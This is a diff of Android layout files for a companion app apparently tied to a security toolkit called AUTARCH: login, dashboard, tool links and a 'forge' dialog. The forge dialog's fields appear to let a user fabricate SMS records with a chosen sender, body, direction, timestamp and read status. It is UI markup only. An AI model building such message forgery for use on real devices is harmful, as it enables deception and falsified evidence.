xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="32dp">
|
||||
|
||||
<!-- Logo / Title -->
|
||||
<TextView
|
||||
android:id="@+id/login_title"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ARCHON"
|
||||
android:textColor="@color/primary"
|
||||
android:textSize="36sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
app:layout_constraintBottom_toTopOf="@id/login_subtitle"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toTopOf="parent"
|
||||
app:layout_constraintVertical_chainStyle="packed"
|
||||
app:layout_constraintVertical_bias="0.3" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/login_subtitle"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="AUTARCH Companion"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="14sp"
|
||||
android:layout_marginTop="4dp"
|
||||
android:layout_marginBottom="40dp"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/login_title" />
|
||||
|
||||
<!-- Server IP -->
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:id="@+id/layout_server_ip"
|
||||
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="40dp"
|
||||
android:hint="Server IP"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/login_subtitle">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_login_server_ip"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="text"
|
||||
android:textColor="@color/text_primary"
|
||||
android:hint="10.0.0.26" />
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<!-- Username -->
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:id="@+id/layout_username"
|
||||
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="12dp"
|
||||
android:hint="Username"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/layout_server_ip">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_login_username"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="text"
|
||||
android:textColor="@color/text_primary" />
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<!-- Password -->
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:id="@+id/layout_password"
|
||||
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="12dp"
|
||||
android:hint="Password"
|
||||
app:endIconMode="password_toggle"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/layout_username">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_login_password"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="textPassword"
|
||||
android:textColor="@color/text_primary" />
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<!-- Port (smaller, below password) -->
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:id="@+id/layout_port"
|
||||
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||
android:layout_width="120dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="12dp"
|
||||
android:hint="Port"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/layout_password">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_login_port"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="number"
|
||||
android:text="8181"
|
||||
android:textColor="@color/text_primary" />
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<!-- Auto-detect button -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_login_detect"
|
||||
style="@style/Widget.MaterialComponents.Button.TextButton"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="AUTO-DETECT"
|
||||
android:textColor="@color/primary"
|
||||
app:layout_constraintBottom_toBottomOf="@id/layout_port"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintTop_toTopOf="@id/layout_port" />
|
||||
|
||||
<!-- Login button -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_login"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="24dp"
|
||||
android:text="LOGIN"
|
||||
android:textSize="16sp"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/layout_port" />
|
||||
|
||||
<!-- Status message -->
|
||||
<TextView
|
||||
android:id="@+id/login_status"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginTop="16dp"
|
||||
android:gravity="center"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="13sp"
|
||||
android:fontFamily="monospace"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toBottomOf="@id/btn_login" />
|
||||
|
||||
<!-- Skip/offline button at bottom -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_login_skip"
|
||||
style="@style/Widget.MaterialComponents.Button.TextButton"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="SKIP (OFFLINE MODE)"
|
||||
android:textColor="@color/text_muted"
|
||||
android:textSize="12sp"
|
||||
app:layout_constraintBottom_toBottomOf="parent"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent" />
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
33
autarch_companion/app/src/main/res/layout/activity_main.xml
Normal file
33
autarch_companion/app/src/main/res/layout/activity_main.xml
Normal file
@@ -0,0 +1,33 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<androidx.constraintlayout.widget.ConstraintLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background">
|
||||
|
||||
<androidx.fragment.app.FragmentContainerView
|
||||
android:id="@+id/nav_host_fragment"
|
||||
android:name="androidx.navigation.fragment.NavHostFragment"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="0dp"
|
||||
app:defaultNavHost="true"
|
||||
app:layout_constraintBottom_toTopOf="@id/bottom_nav"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toTopOf="parent"
|
||||
app:navGraph="@navigation/nav_graph" />
|
||||
|
||||
<com.google.android.material.bottomnavigation.BottomNavigationView
|
||||
android:id="@+id/bottom_nav"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:background="@color/surface"
|
||||
app:itemIconTint="@color/nav_item_color"
|
||||
app:itemTextColor="@color/nav_item_color"
|
||||
app:layout_constraintBottom_toBottomOf="parent"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:menu="@menu/bottom_nav" />
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
@@ -0,0 +1,203 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:background="@color/surface">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="20dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_dialog_title"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="18sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="16dp" />
|
||||
|
||||
<!-- Phone number -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_phone_label"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/forge_address"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="44dp"
|
||||
android:hint="@string/forge_phone_hint"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_muted"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="phone"
|
||||
android:background="@color/surface_dark"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:singleLine="true"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Contact name (optional) -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_name_label"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/forge_contact_name"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="44dp"
|
||||
android:hint="@string/forge_name_hint"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_muted"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="textPersonName"
|
||||
android:background="@color/surface_dark"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:singleLine="true"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Message body -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_body_label"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/forge_body"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:hint="@string/forge_body_hint"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_muted"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="textMultiLine"
|
||||
android:background="@color/surface_dark"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:paddingTop="8dp"
|
||||
android:paddingBottom="8dp"
|
||||
android:minLines="3"
|
||||
android:maxLines="8"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Direction toggle (Sent / Received) -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_direction_label"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="12dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/forge_type_received"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/forge_received"
|
||||
android:textSize="12sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
android:tag="selected" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/forge_type_sent"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/forge_sent"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Date / Time -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_date_label"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="12dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/forge_pick_date"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/forge_pick_date"
|
||||
android:textSize="12sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
android:tag="now" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/forge_pick_time"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/forge_pick_time"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
android:tag="now" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Read status -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical">
|
||||
|
||||
<android.widget.CheckBox
|
||||
android:id="@+id/forge_read_status"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:checked="true" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/forge_mark_read"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
225
autarch_companion/app/src/main/res/layout/fragment_dashboard.xml
Normal file
225
autarch_companion/app/src/main/res/layout/fragment_dashboard.xml
Normal file
@@ -0,0 +1,225 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical">
|
||||
|
||||
<!-- Header -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/dashboard_title"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="24sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="16dp" />
|
||||
|
||||
<!-- Server Discovery Section -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/server_discovery"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="4dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/discovery_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:background="@color/status_offline"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/discovery_status_text"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/discovery_idle"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="14sp" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:id="@+id/discovery_method_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/discovery_methods"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_discover"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/scan_network"
|
||||
android:textColor="@color/background"
|
||||
android:fontFamily="monospace"
|
||||
app:backgroundTint="@color/terminal_green"
|
||||
app:cornerRadius="4dp" />
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- Connection Status -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Connection Status"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Privilege -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/privilege_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:background="@color/status_offline"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/privilege_status_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Privilege: checking..."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="13sp" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Server -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/server_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:background="@color/status_offline"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/server_status_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Server: checking..."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="13sp" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- WireGuard -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical">
|
||||
|
||||
<View
|
||||
android:id="@+id/wg_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:background="@color/status_offline"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/wg_status_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/wg_checking"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="13sp" />
|
||||
</LinearLayout>
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- Output Log -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
app:cardBackgroundColor="@color/surface_dark"
|
||||
app:cardCornerRadius="8dp">
|
||||
|
||||
<TextView
|
||||
android:id="@+id/output_log"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:minHeight="80dp"
|
||||
android:padding="12dp"
|
||||
android:text="@string/ready"
|
||||
android:textColor="@color/terminal_green_dim"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="12sp"
|
||||
android:scrollbars="vertical" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
284
autarch_companion/app/src/main/res/layout/fragment_links.xml
Normal file
284
autarch_companion/app/src/main/res/layout/fragment_links.xml
Normal file
@@ -0,0 +1,284 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/links_title"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="24sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/server_url_label"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/server_url_placeholder"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginBottom="16dp" />
|
||||
|
||||
<!-- Row 1: Dashboard, WireGuard -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_dashboard"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginEnd="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_dashboard"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_wireguard"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginStart="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_wireguard"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Row 2: Shield, Hardware -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_shield"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginEnd="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_shield"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_hardware"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginStart="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_hardware"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Row 3: Wireshark, OSINT -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_wireshark"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginEnd="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_wireshark"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_osint"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginStart="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
